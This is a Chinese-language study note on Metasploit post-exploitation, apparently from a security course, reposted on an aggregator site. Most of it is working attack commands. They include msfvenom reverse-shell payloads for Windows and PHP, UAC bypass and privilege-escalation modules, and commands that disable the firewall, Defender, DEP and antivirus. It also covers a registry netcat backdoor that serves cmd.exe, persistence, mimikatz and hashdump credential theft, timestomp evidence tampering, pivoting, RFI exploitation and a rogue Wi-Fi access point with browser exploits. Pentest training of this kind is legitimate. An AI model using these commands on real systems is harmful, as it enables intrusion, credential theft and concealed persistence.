MSF(六):后渗透
后滲透測試
安全牛學習Metasploit Framework筆記
一、已經獲得目標系統控制權后擴大戰果
(1)提權
(2)信息收集
(3)滲透內網
(4)永久后門
二、基于已有session擴大戰果
- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 - b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe - use /exploit/mutli/reverse_tcp - set payload windows/meterpreter/reverse_tcp - exploit - 只要目標系統執行1.exe,我們即可獲得反彈shell三、獲取system賬號權限
(1)提權可以使用getsystem,如果沒有該命令
(2)使用load priv,加載包含getsystem的priv插件(priv表示提權)
(3)如果getsystem獲取不到權限,基本是被UAC限制了
四、繞過UAC限制
(1)基于session獲取system
- use exploit/windows/local/ask - set session - set filename - set payload windows/meterpreter/reverse_tcp - exploit - 騙取目標用戶點擊是,即可繞過UAC,使用getsystem(2)不需要騙取目標用戶點擊允許,以exe直接bypass UAC
- use exploit/windows/local/bypassuac - set session - set payload(3)不需要騙取目標用戶點擊允許,以dll直接bypass UAC
- use exploit/windows/local/bypassuac_injection - set session - set payload - 我當時因為目標系統為x64,因此利用失敗,但(2)模塊可以成功滲透五、利用漏洞直接提權為system
如果獲取的賬戶權限為普通權限,不在管理組,使用上面的getsystem依舊無法獲取system權限
(1)本地漏洞利用提權(不用getsystem,直接就是system權限)(利用失敗)
use exploit/windows/local/ms13_053_schlamperei
原因:模塊不兼容,不支持在x64系統上運行
(2)use exploit/windows/local/ms13_081_track_popup_menu
(失敗同上)
(3)use exploit/windows/local/ms13_097_ie_registry_symlink(利用失敗)
原因:沒有將進程遷移到explorer中
(4)use exploit/windows/local/ppr_flatten_rec
失敗同(1)
六、圖形化payload
- set payload windows/vncinject/reverse_tcp - set viewonly no修改為可操作模式,因此vnc不僅可以看,還可以遠程操作 - 可以配合use exploit/windows/local/bypassuac使用(因為我前面有幾個模塊測試失敗)七、Psexec模塊之Passthehash(獲得的是system權限)
(1)meterpreter獲取hash值(hashdump)
如果報錯,出現下圖所示,即表示,meterpreter權限不夠,將其進程遷移到含有system的進程中(即使你getuid是system,但進程不在system也無法獲得,親測)
(2)獲取目標系統的用戶賬號、用戶SSID、NTML HASH
(3)關閉UAC(前提是:需要獲得system權限)
(4)因為cmd關閉了UAC,需要重啟目標系統才能生效
- 立即重啟系統shutdown /r /t 0八、Meterpreter常用指令
1、關閉windows防火墻
需要管理員或system權限
- netsh advfirewall set allprofiles state offnetsh:windwos中強大的網絡配置工具2、關閉Windefend
- net stop windefendnet stop是用來結束服務的3、Bitlocker磁盤加密
- manage-bde -off C:關閉磁盤加密 - manage-bde-status C:查看bitlocker加密狀態4、關閉DEP,基于硬件防惡意軟件被CPU執行的技術
- bcdedit.exe /set {current} nx AlwaysOff5、殺死防病毒軟件
- Run killav - run post/windows/managekillav6、開啟/關閉遠程桌面服務
- run post/windows/manage/enable_rdp打開遠程桌面 - /root/.msf4/loot/20200219100050_default_192.168.100.156_host.windows.cle_840297.txt關閉遠程桌面 - run getgui -e 使用getgui腳本打開遠程桌面 - run getgui -U yuanfh -p pass向目標系統的遠程桌面面用戶組里添加用戶總結:
7、查看遠程桌面
- screenshot桌面截圖 - use espia加載espia插件(在meterpreter中use和load意義一樣) - screengrab截圖九、域滲透
1、Tokens概念介紹
- 用戶每次登錄,賬號綁定臨時的Token
- 訪問資源時提交Token進行身份驗證,類似于WEB Cookie
- Delegate Token: 交互登陸會話(注銷后登陸輸入用戶名密碼/遠程桌面,這是活動狀態的Token)
- Impersonate Token: 非交互登陸會話(訪問文件共享目錄)
- 注:交互和非交互Token的權限是一樣的,在域的環境中有很大作用
- Delegate Token賬號注銷后變為Impersonate Token,權限依然有效
2、Incognito插件
- 獨立功能的軟件,被MSF集成在meterpreter中
- 無需密碼破解或獲取密碼HASH,竊取Token將自己偽裝成其他用戶
- 尤其適用于域環境下提權滲透多操作系統
3、域環境滲透測試
(1)DC+XP 域環境搭建 (2)load incognito 加載插件 (3)list_tokens -u/list_tokens -g 獲取Token信息 (3)impersonate_token labl\\administrator 偽造自己為什么用戶(就是修改Token),注意:\在linux和meterpreter中有特殊含義,需要兩個\\,其中一個是轉義 (4)運行以上命令需要getsystem - 本地普通權限用戶需先本地提權 use exploit/windows/local/ms10_015_kitrap0d(提權模塊,可能我的靶機是x64,不符合條件,報下圖所示錯誤) (5)execute -f cmd.exe -i -t 以當前獲得的用戶執行cmd -f:執行那個命令 -i:執行完cmd與其完成交互 -t:使用當前假冒token執行程序 執行完之后就會獲得cmd的命令行,和使用shell一樣十、Windows注冊表
(1)注冊表保存著windows幾乎全部配置參數
- 如果修改不當,可直接造成系統崩潰
- 修改前完整備份注冊表
- 某些注冊表的修改是不可逆的
(2)常見用途
- 修改、增加啟動項
- 竊取存儲于注冊表中的機密信息
- 繞過文件型病毒查殺
(3)用注冊表添加NC后門服務,開機自動運行(meterpreter)
- upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 - reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run - reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' -d:后臺靜默執行 -L:監聽本地端口,斷開依舊偵聽端口,不關閉端口 -p:指定端口 - reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 查詢創建的注冊表鍵值是否生效 注:kali中的nc.exe是32位,傳到目標是windows x64的System32中時,它會轉移到SysWOW64目錄中(4)添加防火墻規則(meterpreter)
- execute -f cmd -i H -H:靜默模式,后臺運行,不顯示窗口 - netsh firewall show opmode - netsh firewall add portopening TCP 444 "test" ENABLE ALL 進程名test可以修改成其它更加有隱蔽性的名稱 - shutdown -r -t 0 - nc 1.1.1.1 444(5)其他注冊表項命令參考
https://support.accessdata.com/hc/en-us/articles/204448155-Registry- Quick-Find-Chart十一、信息收集
1、抓包(meterpreter)
- load sniffer加載嗅探插件 - sniffer_interfaces掃描網卡 - sniffer_start 2使用指定網卡ID號進行抓包(不會再目標系統上顯示,在內存中緩存區塊循環存儲抓包(50000包) ,不寫硬盤,只會再內存中運行,默認只保存五萬各數據包,循環更替數據包,50001替換1,500002替換2,以此類推) - sniffer_dump 2 1.capdump這五萬個數據包 - 該插件智能過濾meterpreter流量,傳輸全程使用SSL/TLS加密2、解碼獲取到的PACPFILE
- use auxiliary/sniffer/psnuffle - set PCAPFILE 1.cap - run2、搜索文件
(1)搜索指定文件
(2)John the Ripper破解弱口令(兩個模塊的結合使用)
- use post/windows/gather/hashdump #system權限的meterpreter - Run #結果保存在/tmp目錄下 - use auxiliary/analyze/jtr_windows_fast(它會自動破解/tmp目錄下的hash) - run十二、痕跡清理
(1)介紹
- 文件系統訪問會留 下痕跡,電子取證重點關注
- 滲透測試和攻擊者往往希望銷毀文件系統訪問痕跡
- 最好的避免被電子取證發現的方法:不要碰文件系統
- Meterpreter 的先天優勢所在(完全基于內存)
(2)MAC時間(Modified / Accessed / Changed縮寫)(記錄對文件的修改/記錄對文件的訪問/記錄對文件權限的修改)
- Is -l --time=atime/ctime 1.txtlinux查看,ls -l:modified;atime:accessed;ctime:changed - stat 1.txtlinux環境下一次列出三個時間 - touch -d "2 days ago" 1.txtlinux修改文件的modified和accessed時間,向前推兩天使用cat,會改變accessed時間,modified和changed時間不變使用vi,三者時間都變使用chmmod,只變化changed時間 - touch -t 1501010101 1.txt修改年月日時分(只會修改modified和accessed)(3)MACE 介紹: MFT entry(Windows比MAC上多出個E)
- MFT:NTFS 文件系統的主文件分配表;全稱:Master File Table
- 通常1024字節或2個硬盤扇區,其中存放多項entry信息
- 包含文件大量信息(大小名稱目錄位置磁盤位置創建日期)
- 更多信息可研究文件系統取證分析技術
(4)Timestomp (meterpreter)
- ls顯示modified時間 - timestomp -v 1.txt顯示文件的詳細時間,多出Entry Modified的顯示 - timestomp -f c:\\autoexec.bat 1.txt將文件時間修改成和指定文件一樣(MAC和Entry時間都改變) - timestomp -b -r擦除MACE時間信息,目前此參數功能失效 - timestomp -m/-a/-c/-e/-z修改modified時間/修改accessed時間/修改created時間/修改entry時間/四種都修改例:timestomp -z "日/月/年 小時:分:秒" 2.txt十三、內網滲透
1、基于路由制作Pivoting跳板/樞紐/支點
(1)利用已經控制的一臺計算機作為入侵內網的跳板,在其他內網計算機看來訪問全部來自于跳板機
(2)已經建立的session(一個通信的通道),所以使用msf,在兩者間增加一條路由。該命令只限在msf內部使用,但還是不能訪問外網的被攻擊目標內網網段
(3)自動路由現實場景
利用win 7攻擊內網XP (對 比xp有無外網訪問權的情況)
掃描內網:
2、基于端口的Pivoting之端口轉發Portfwd
(1)run autoroute -d -s 192.168.100.0/24刪除路由 (2)利用已經被控計算機,在kali與攻擊目標之間實現端口轉發portfwd add -L localip -I lport -r xremoteip -p rport-L:本地偵聽IP-l:本地偵聽端口-r:把本地端口映射給遠程的端口-p:指定要映射的遠程端口 總結:端口轉發就是將本地的端口映射給遠程目標的端口,俗話就是,我把我本機的445端口和目標的3389綁在一起,本機445就是目標3389 - 再繼續執行以下命令 - portfwd add -l 445 -r remoteip -p 3389不指定-L,以本機0.0.0.0(所有本地IP指定端口)映射目標指定端口kali:rdesktop 127.0.0.1:445,即表示訪問目標端口3389 - portfwd list / delete / flush查看端口轉發配置信息/刪除指定端口轉發/刪除所有端口轉發 - use exploit/windows/smb/ms08_067_netapiset RHOST 127.0.0.1set LHOST 2.1.1.10 - use exploit/multi/handlerset exitonsession false十四、POST模塊
1、簡介:當你取得了shell后,在此基礎上使用的模塊
2、exploit/mutli/handler模塊設置偵聽端口一直處于偵聽狀態
3、常用利用模塊(meterpreter)
- 執行arp掃描,掃描與靶機同IP段run post/windows/gather/arp_scanner RHOSTS=x.x.x.0/24 - 掃描目標靶機是否為虛擬機run post/windows/gather/checkvm - 查看身份賬號信息:用戶hash值和tokenrun post/windows/gather/credentials/credential_collector - 查看目標系統安裝了哪些軟件run post/windows/gather/enum_applications - 目標系統當前有哪些用戶處于登陸狀態,用戶配置文件位置run post/windows/gather/enum_logged_on_users - 目標系統snmp的相關配置run post/windows/gather/enum_snmp - 掃描目標系統存在哪些本地可以提權的漏洞,顯示對應可以利用的模塊 run post/multi/recon/local_exploit_suggester - 刪除目標系統中指定的用戶賬號run post/windows/manage/delete_user USERNAME=1stPeak - 查看系統運行環境變量信息run post/multi/gather/env - 查看firefox里保存的賬號和密碼run post/multi/gather/firefox_creds - 查看本地ssh登陸后保存的賬號和密碼,身份認證,證書信息run post/multi/gather/ssh_creds - 檢查目標系統指定文件是否為惡意文件run post/multi/gather/check_malware REMOTEFILE=c:\\xx.exe4、自動執行meterpreter腳本
(1)一個腳本
(2)自動執行post模塊(自動migrate進程)
- use exploit/mutli/handler - show advanced - set AutoRunScript migrate -n explorer.exe自動將進程轉移到explorer.exe下 - exploit(3)查看目標系統使用者最近正在編輯哪些文件(我最近的文檔),前提:migrate到指定用戶
- set AutoRunScript post/windows/gather/dumplinks(4)前后依次自動執行
- 先運行一個腳本 set InitialAutoRunScript migrate -n explorer.exe - 再運行第二個腳本 set AutoRunScript post/windows/gather/dumplinks十五、持久后門
1、前言
- 利用漏洞取得的meterpreter shell運行于內存中,重啟失效
- 重復exploit漏洞可能造成服務崩潰
- 持久后門保證漏洞修復后仍可遠程控制
2、Meterpreter后門
3、持久后門(目標系統重新啟動后,自動反彈連接kali)
(1)查看腳本的參數信息
(2)往目標系統植入一個vbs的后門,開機自動連接指定IP的端口
執行后,需要我們kali開啟偵聽(端口要和之前run persistence指定的一致)
十六、MSF延伸用法之Mimikatz
- hashdump使用的就是Mimikatz的部分功能 - getsystem使用mimikatz需要先獲得system權限 - load mimikatz加載插件 - wdigest、kerberos 、msv、ssp、tspkg 、livessp明文顯示用戶賬號和密碼信息(包括內存中的)、和wdigest差不多、用戶hash值、用戶明文信息、身份認證信息、存活的用戶明文信息 - mimikatz_ command -h (1)mimikatz_command -f ax:: 通過犯錯查看有哪些模塊可以利用,就是在-f后面加個不存在的模塊和兩個冒號 (2)mimikatz_command -f samdump::hashes 查看hash值和Bootkey (3)mimikatz_command -f handle::list 查看操作系統進程 (4)mimikatz_command -f service:list 查看操作系統服務 (5)mimikatz_command -f crypot::listProviders 查看系統支持哪些加密套件 (6)mimikatz_command -f winmine:infos 查看你當前玩的掃雷哪些是地雷 注:每個命令都還有子命令,::后面都是子命令,查看子命令:mimikatz_command -f 存在的模塊::十七、meterpreter延伸用法
1、PHP shell
- msfvenom -p php/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=3333 -f raw -o a.php - MSF啟動偵聽 - 上傳到web站點并通過瀏覽器訪問2、Web Delivery
利用代碼執行漏洞訪問攻擊者服務器
3、RFI遠程文件包含
(1)利用條件
(2)利用模塊
- use exploit/unix/webapp/php_include - set RHOST x.x.x.x - set PATH /dvwa/vulnerabilities/fi/設置攻擊的目標路徑 - set PHPURI /?page=XXpathXX自動使用path替換原來的?page=后面的內容 - set HEADERS "Cookie:security=low;PHPSESSID=eefcf023ba6121 9d4745ad7487fe81d7" - set payload php/meterpreter/reverse_tcp - set lhost x.x.x.x - exploit4、偽造AP、嗅探密碼、截獲數據、瀏覽器攻擊
(1)下載資源文件(Karmetasploit),里面包含多個對客戶端利用的模塊
(2)基礎架構安裝配置(在kali上安裝dhcp服務,因為偽造了AP,需要給偽造AP連接的系統分發IP)
- apt-get install isc-dhcp-server - cat /etc/dhcp/dhcpd.conf使用vim后配置如下: option domain-name-servers 10.0.0.1;(偽造AP用的IP地址,就是kali的網卡IP) default-lease-time 60;(AP租約期限,設置短一點,提高利用率) max-lease-time 72;(AP租約期限,設置短一點,提高利用率) ddns-update-style none;(這一行留著) authoritative;(授權DHCP服務器) log-facility local7;(記錄日志) subnet 10.0.0.0 netmask 255.255.255.0 {(定義子網網段) range 10.0.0.100 10.0.0.254;(分發給客戶端的IP地址的網段) option routers 10.0.0.1;(分發出去網段的網關地址) option domain-name-servers 10.0.0.1;(分發本網段的DNS服務器,有全局可以不用設) }(3)基礎配置服務設置好,現在我們進行偽造AP
- airmon-ng start wlan0將wlan0設置為偵聽模式 - airbase-ng -P -C 30 -e "FREE" -v wlan0mon偽造無線AP,網卡為eth0 - ifconfig at0 up 10.0.0.1 netmask 255.255.255.0up網卡eth0 - touch /var/lib/dhcp/dhcpd.leases建議DHCP租約文件 - dhcpd -cf /etc/dhcp/dhcpd.conf at0指定網卡啟動DHCP服務 - 啟動Karmetasploit資源文件模塊,當有客戶端連接我偽造的AP,發送流量經過我的偽造AP(就是Kali),我在kali上就可以截獲信息與注入代碼等攻擊msfconsole -q -r karma.rc_.txt - 流量流經偽造的AP后會被kaili自動偵聽和漏洞利用,漏洞利用成功后,會獲得session(注:目標連接偽造的wifi后,上不了網,流量只會流經到偽造AP,無法再進行轉發到互聯網,那如何解決?請看下面) - 允許用戶正常上網,修改資源文件內容 (1)vi karma.rc_.txt (2)刪除db_connect postgres... (3)刪除開頭setg的參數,這樣目標客戶端才可以正常訪問互聯網 (4)刪除set lport (5)增加browser_autopwn2等其他模塊    se auxiliary/server/browser_autopwn2    set SRVPORT 55560    run (6)增加檢查惡意流量的模塊    use auxiliary/vsploit/malware/dns_(有三個模塊)    可以依次配置相關信息    依次run (7)保存后啟動Karmetasploit    msfconsole -q -r karma.rc_.txt (8)添加路由和防火墻規則 echo 1 > /proc/sys/net/ipv4/ip_forward(IP轉發)防火墻添加兩條iptables規則:iptables P FORWARD ACCEPTiptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 注:DNS欺騙,就是偽造IP,比如將https://www.baidu.com偽造IP為x.x.x.x,于是,只要目標訪問https://www.baidu.com,就會訪問我們偽造的x.x.x.x,不會訪問真實的網站總結
以上是生活随笔為你收集整理的MSF(六):后渗透的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 阴阳师思归召唤什么意思
- 下一篇: 超级课程表有哪些功能(超级玛丽小游戏)